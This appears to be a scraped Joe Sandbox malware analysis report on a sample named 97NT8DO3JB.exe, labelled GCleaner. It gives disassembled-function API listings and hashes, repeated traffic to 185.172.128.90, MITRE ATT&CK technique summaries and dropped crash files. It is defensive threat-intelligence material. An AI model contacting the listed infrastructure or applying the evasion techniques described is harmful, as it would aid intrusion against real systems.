Opcode Fuzzy Hash: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction Fuzzy Hash: 88F0AC36640129BBCF221FD5EC09ADA3F26FF093A5F044425FA1995230DB368961DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00408094 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00408031,00000064), ref: 004080B7
LeaveCriticalSection.KERNEL32(0042B3A4,0042BBB8,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080C1
WaitForSingleObjectEx.KERNEL32(0042BBB8,00000000,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080D2
EnterCriticalSection.KERNEL32(0042B3A4,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080D9

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 9f2013559988f7c6e19921341529abce574c139b58d20d3fca146c150821c153
Instruction ID: 72c1ef58ed17f52cee44f8e17e220145c7e7ffa3914e7ca9d2a838ab954b4b1b
Opcode Fuzzy Hash: 9f2013559988f7c6e19921341529abce574c139b58d20d3fca146c150821c153
Instruction Fuzzy Hash: DFE01231A41134FBCB216B50FC08BDE7F25EF09765B958036FD0966164CB7518129BDD

Uniqueness

Uniqueness Score: -1.00%

Function 0367EAAE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0367EAB7

Part of subcall function 036814C2: HeapFree.KERNEL32(00000000,00000000,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?), ref: 036814D8
Part of subcall function 036814C2: GetLastError.KERNEL32(?,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?,?), ref: 036814EA

_free.LIBCMT ref: 0367EACA
_free.LIBCMT ref: 0367EADB
_free.LIBCMT ref: 0367EAEC

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction ID: e09fc9cebc2b8815300ea887dddcf3b6a4dbfa422c21f870d424e2e464567e37
Opcode Fuzzy Hash: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction Fuzzy Hash: E0E0BF7AB10224DA8631BF24BC008493FA1F7497003C582AAE80816A34D7751517ABDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E847 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E850

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 0040E863
_free.LIBCMT ref: 0040E874
_free.LIBCMT ref: 0040E885

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction ID: 376e848b26ab1768b0a59f9d16cf8ebc4b09c0a8db51cbf4607cd3773e6ddd07
Opcode Fuzzy Hash: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction Fuzzy Hash: 88E0BF76A10124DA87716F25BC514C93F72FB847043C505EBF90162A35D7351653AFCD

Uniqueness

Uniqueness Score: -1.00%

Function 0367D8A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0367D934

Strings

pow, xrefs: 0367D90C, 0367D929

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction ID: 0b9e3b13db9cfbb35c68db0127aa4334c0da55e4c4133b6f78e3ffbb27a35c09
Opcode Fuzzy Hash: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction Fuzzy Hash: 83515161A0820396C713F719CB0037EBBD4DF84711FA84FADE095463E9EF3584D68A4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D63D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040D6CD

Strings

pow, xrefs: 0040D6A5, 0040D6C2

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction ID: 8d3161e886a3821ea2e9f022d8d71e59df4e5d6d7a924f733059c646dd09a487
Opcode Fuzzy Hash: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction Fuzzy Hash: 66517A70E0910196CB117758D9413EB3BE09B80B50F208D7BE099563E9EA3D8CDA9E8E

Uniqueness

Uniqueness Score: -1.00%

Function 004162F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00415E8B: GetOEMCP.KERNEL32(00000000,004160FC,00000000,00000000,00410FF0,00410FF0,00000000,?,00000000), ref: 00415EB6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00416143,?,00000000,00000000,?,?,?,?,?,00410FF0), ref: 0041634E
GetCPInfo.KERNEL32(00000000,CaA,?,?,00416143,?,00000000,00000000,?,?,?,?,?,00410FF0,00000000,?), ref: 00416390

Strings

CaA, xrefs: 0041638B, 0041638E

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: CaA
API String ID: 546120528-4037067115
Opcode ID: b8eaebc5c716ca2bc16c88502a7da4788022fe9c2effea2ce9e6481b084b6e3f
Instruction ID: a134882bb56a32c7912985d8d12d3a3e7122bfa70288869bd56f24947c62dcc4
Opcode Fuzzy Hash: b8eaebc5c716ca2bc16c88502a7da4788022fe9c2effea2ce9e6481b084b6e3f
Instruction Fuzzy Hash: DC510170A006459EDB208F26C8806EBBBF5EF40304F15456FD4968B292D73DD986CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0367E134 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\97NT8DO3JB.exe, xrefs: 0367E177, 0367E17E, 0367E1B4

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\97NT8DO3JB.exe
API String ID: 0-3126857512
Opcode ID: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction ID: 8dfd121783efe0c2b24b00d5f1fe7e16f58e8503df7b3b5db93e3a9534e97651
Opcode Fuzzy Hash: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction Fuzzy Hash: 1941B675E00314AFDB21DF999D80DAEBBF8EF89300B9401EAE414D7350E7719A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040DECD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\97NT8DO3JB.exe, xrefs: 0040DF10, 0040DF17, 0040DF4D

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\97NT8DO3JB.exe
API String ID: 0-3126857512
Opcode ID: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction ID: 2e5f72311863fa9e8fcf8b79921b47b2e5fb927b0b01c65b7a78908b15f214c6
Opcode Fuzzy Hash: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction Fuzzy Hash: 5D418471E00215ABCB219F9ADC819AEBBB8EF85304F10407BF505E7391D7789A46DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0367AC57 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0367AC96
__IsNonwritableInCurrentImage.LIBCMT ref: 0367AD4A

Strings

csm, xrefs: 0367AD34

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction ID: fa4455a9cc60430376f22394fa73fd0116fa79e57fb81250bf217d70cf2d4427
Opcode Fuzzy Hash: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction Fuzzy Hash: E741E234A00218EBCF10DFA8C884AAEBBB5AF45314F548199E8189F391D735DA56CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0367B533 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0367B558

Strings

MOC, xrefs: 0367B56A
RCC, xrefs: 0367B572

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction ID: 0472d5fbe75688122c19585bb45cd7a50a0352d013ab0d9f18eb910b55358600
Opcode Fuzzy Hash: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction Fuzzy Hash: 0F416A75900209AFDF15CF98CD81EEEBBB5BF48304F588099FA046B250D3359A60DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040B2F1

Strings

RCC, xrefs: 0040B30B
MOC, xrefs: 0040B303

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction ID: f43e59867b844965b4dd6bccced8563d77acdffbe0e3e52ad2b3e9d62f308d90
Opcode Fuzzy Hash: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction Fuzzy Hash: 33414972900209EFCF15DF98CD81AEEBBB5FF48304F28806AF91476291D3399950DB99

Uniqueness

Uniqueness Score: -1.00%

Function 036748E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 03678273: RtlEnterCriticalSection.NTDLL(0042B3A4), ref: 0367827E
Part of subcall function 03678273: RtlLeaveCriticalSection.NTDLL(0042B3A4), ref: 036782BB

__Init_thread_footer.LIBCMT ref: 0367495B

Part of subcall function 03678229: RtlEnterCriticalSection.NTDLL(0042B3A4), ref: 03678233
Part of subcall function 03678229: RtlLeaveCriticalSection.NTDLL(0042B3A4), ref: 03678266

Strings

JBM, xrefs: 03674904
^F^., xrefs: 0367493C

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: JBM$^F^.
API String ID: 4132704954-776405404
Opcode ID: d7d517dc23dda4587d74de5689825b5f415768334330daa925e354f18db28f80
Instruction ID: 514499fe262697c3fb23688fcd532a175ef0bbf39d5a67649f9afeee3bd2cd68
Opcode Fuzzy Hash: d7d517dc23dda4587d74de5689825b5f415768334330daa925e354f18db28f80
Instruction Fuzzy Hash: FC01A274E10708DBDB20DFA9E94556C77B0EF54300F90416ED9285B750EB7569018FCD

Uniqueness

Uniqueness Score: -1.00%

Function 00404680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0040800C: EnterCriticalSection.KERNEL32(0042B3A4,?,?,?,0040104D,0042BBB8), ref: 00408017
Part of subcall function 0040800C: LeaveCriticalSection.KERNEL32(0042B3A4,?,?,?,0040104D,0042BBB8), ref: 00408054

__Init_thread_footer.LIBCMT ref: 004046F4

Part of subcall function 00407FC2: EnterCriticalSection.KERNEL32(0042B3A4,?,?,00401092,0042BBB8,0041CB40), ref: 00407FCC
Part of subcall function 00407FC2: LeaveCriticalSection.KERNEL32(0042B3A4,?,?,00401092,0042BBB8,0041CB40), ref: 00407FFF
Part of subcall function 00407FC2: RtlWakeAllConditionVariable.NTDLL ref: 00408076

Strings

JBM, xrefs: 0040469D
^F^., xrefs: 004046D5

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: JBM$^F^.
API String ID: 2296764815-776405404
Opcode ID: 1dd7ac1497c68547c7ffb59f21bd4fc4df614bfc7a32e7a6c6667bbe6f104434
Instruction ID: 65274f911ef85e104a8c592ea7a752ece469cbe28b6bf56a6389c662a6c1d48e
Opcode Fuzzy Hash: 1dd7ac1497c68547c7ffb59f21bd4fc4df614bfc7a32e7a6c6667bbe6f104434
Instruction Fuzzy Hash: D401DFB0E106098BDB20EFA9D94255D7BB0FF54700F50457EE91867391EB3A69058FCD

Uniqueness

Uniqueness Score: -1.00%

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 97NT8DO3JB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: GCleaner

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_1630c49f-2354-49a2-9ab8-dc030df3b2ee\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_3a48af57-569b-4ab4-b9ea-256268bf1ad0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_5c38cd1d-3bce-4550-bdcf-bb046d0ffe19\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_8fd0dd96-51df-4555-aa5e-8b9425c46166\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_acc9e967-ff41-4224-90bc-0f98e5eb772f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_cdb61ca0-0229-40fc-b9c9-8fe9029a2de5\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_ef6f7bd1-c393-4e57-b46f-a509222f2e19\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_6be156e7f6408b6a57b6e7c3a2ce735a1cd81ea8_1bd0a4a3_0ed49d18-13ae-42ea-852a-2af280a287d7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2FC7.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3055.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3084.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3219.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3268.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3288.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER34F7.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3556.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3566.tmp.xml

Windows Analysis Report
97NT8DO3JB.exe

